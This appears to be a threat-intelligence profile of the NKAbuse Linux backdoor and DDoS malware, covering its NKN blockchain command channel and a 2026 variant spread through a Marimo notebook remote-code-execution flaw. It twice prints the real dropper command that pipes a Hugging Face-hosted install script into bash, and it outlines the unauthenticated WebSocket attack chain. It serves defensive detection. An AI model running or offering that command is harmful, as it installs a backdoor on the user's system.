NKAbuse is a Go-based remote access trojan and DDoS-capable malware family first documented in December 2023. It targets Linux systems and can compromise IoT devices, with builds supporting MIPS, ARM, and x86 architectures. Observed activity has included infections in Mexico, Colombia, and Vietnam, including an attack against a financial organization exploiting Apache Struts vulnerability CVE-2017-5638.
NKAbuse uses New Kind of Network (NKN), a decentralized peer-to-peer networking protocol backed by blockchain technology, for command-and-control communications and data exchange. It can maintain multiple concurrent communication channels, improving resilience and complicating infrastructure tracing and blocking. Its capabilities include remote command execution, data exfiltration, screenshot capture, and discovery of the victim's public IP address through external services. Its DDoS functionality supports HTTP, TCP, UDP, PING, ICMP, and SSL flooding.
In April 2026, a newly observed variant was deployed through exploitation of CVE-2026-39987, a pre-authentication remote code execution vulnerability in the Marimo Python notebook platform. Attackers used Hugging Face Spaces as static hosting for an installation script and malware payload; delivery did not involve a machine-learning model. The captured payload was a stripped, UPX-packed Go ELF binary disguised as a legitimate Kubernetes-related tool. This variant executes shell commands and returns their output through its remote-control channel. Its installation script establishes persistence through systemd user services or cron on Linux. This activity extended NKAbuse deployment into AI and machine-learning development environments.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
26 distinct techniques documented for this family, organized by ATT&CK tactic.
The full attack chain is brutally short: the attacker opens a WebSocket to /terminal/ws (or wss:// behind TLS), the server accepts it with no credentials, allocates a PTY and a shell, and the attacker runs arbitrary commands as the Marimo process.
One NKAbuse infection spotted by Kaspersky involves the exploitation of an old Apache Struts flaw (CVE-2017-5638) to attack a financial company.
Successful exploitation can result in: ... Persistence through cron jobs or startup scripts.
[NKAbuse](https://attack.mitre.org/software/S1107) uses a Cron job to establish persistence when infecting Linux hosts.(Citation: NKAbuse SL)
...the server accepts it with no credentials, allocates a PTY and a shell, and the attacker runs arbitrary commands as the Marimo process...
[NKAbuse](https://attack.mitre.org/software/S1107) is initially installed and executed through an initial shell script.(Citation: NKAbuse SL)
CVE-2026-39987 is a critical pre-authentication remote code execution flaw in Marimo... A remote, unauthenticated attacker only has to complete a single WebSocket handshake to an exposed instance to obtain a full interactive shell as the user running the Marimo process.
curl -fsSL https://vsccode-modetx.hf.space/install-linux.sh | bash
Successful exploitation can result in: ... Persistence through cron jobs or startup scripts.
[NKAbuse](https://attack.mitre.org/software/S1107) uses a Cron job to establish persistence when infecting Linux hosts.(Citation: NKAbuse SL)
The full attack chain is brutally short: the attacker opens a WebSocket to /terminal/ws (or wss:// behind TLS), the server accepts it with no credentials, allocates a PTY and a shell, and the attacker runs arbitrary commands as the Marimo process.
macOS LaunchAgent (~/Library/LaunchAgents/com.kagent.plist)
Indicators worth hunting for include... unusual per-user systemd services...
Successful exploitation can result in: ... Persistence through cron jobs or startup scripts.
[NKAbuse](https://attack.mitre.org/software/S1107) uses a Cron job to establish persistence when infecting Linux hosts.(Citation: NKAbuse SL)
macOS LaunchAgent (~/Library/LaunchAgents/com.kagent.plist)
Indicators worth hunting for include... unusual per-user systemd services...
The payload (kagent) is a stripped Go ELF binary packed with UPX (4.3 MB → 15.5 MB).
The dropper URL points to a HuggingFace Space named vsccode-modetx, a deliberate typosquat of "VS Code". The binary it delivers is named kagent, also the name of a legitimate Kubernetes AI agent tool.
curl -fsSL https://vsccode-modetx.hf.space/install-linux.sh | bash
The Sysdig Threat Research Team... observed the first exploitation attempt within 9 hours and 41 minutes of publication, with a complete credential-theft operation executed in under three minutes.
[NKAbuse](https://attack.mitre.org/software/S1107) utilizes external services such as <code>ifconfig.me</code> to identify the victim machine's IP address.(Citation: NKAbuse SL)
[NKAbuse](https://attack.mitre.org/software/S1107) will check victim systems to ensure only one copy of the malware is running.(Citation: NKAbuse SL)
[NKAbuse](https://attack.mitre.org/software/S1107) conducts multiple system checks and includes these in subsequent "heartbeat" messages to the malware's command and control server.(Citation: NKAbuse SL)
Researchers have tracked a campaign that uses the flaw to deploy a NKAbuse backdoor variant... pairing pre-auth RCE with credential theft, lateral movement into PostgreSQL and Redis...
[NKAbuse](https://attack.mitre.org/software/S1107) can take screenshots of the victim machine.(Citation: NKAbuse SL)
...a blockchain-based (NKN) command-and-control channel that is hard to monitor or block.
The binary references NKN Client Protocol, WebRTC/ICE/STUN for NAT traversal, proxy management, and structured command handling.
[NKAbuse](https://attack.mitre.org/software/S1107) has abused the NKN public blockchain protocol for its C2 communications.(Citation: NKAbuse BC)(Citation: NKAbuse SL)
The malware binary we captured was a previously undocumented variant of NKAbuse, a Go-based backdoor using the NKN blockchain for C2... NKN blockchain C2 uses distinctive relay patterns.
Indicators worth hunting for include suspicious curl | bash executions referencing vsccode-modetx... Researchers have tracked a campaign that uses the flaw to deploy a NKAbuse backdoor variant hosted on Hugging Face Spaces...
In addition to the DDoS capabilities, NKAbuse also acts as a remote access trojan (RAT) on compromised systems, allowing its operators to perform command execution, data exfiltration, and snap screenshots.
[NKAbuse](https://attack.mitre.org/software/S1107) enables multiple types of network denial of service capabilities across several protocols post-installation.(Citation: NKAbuse SL)
11 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.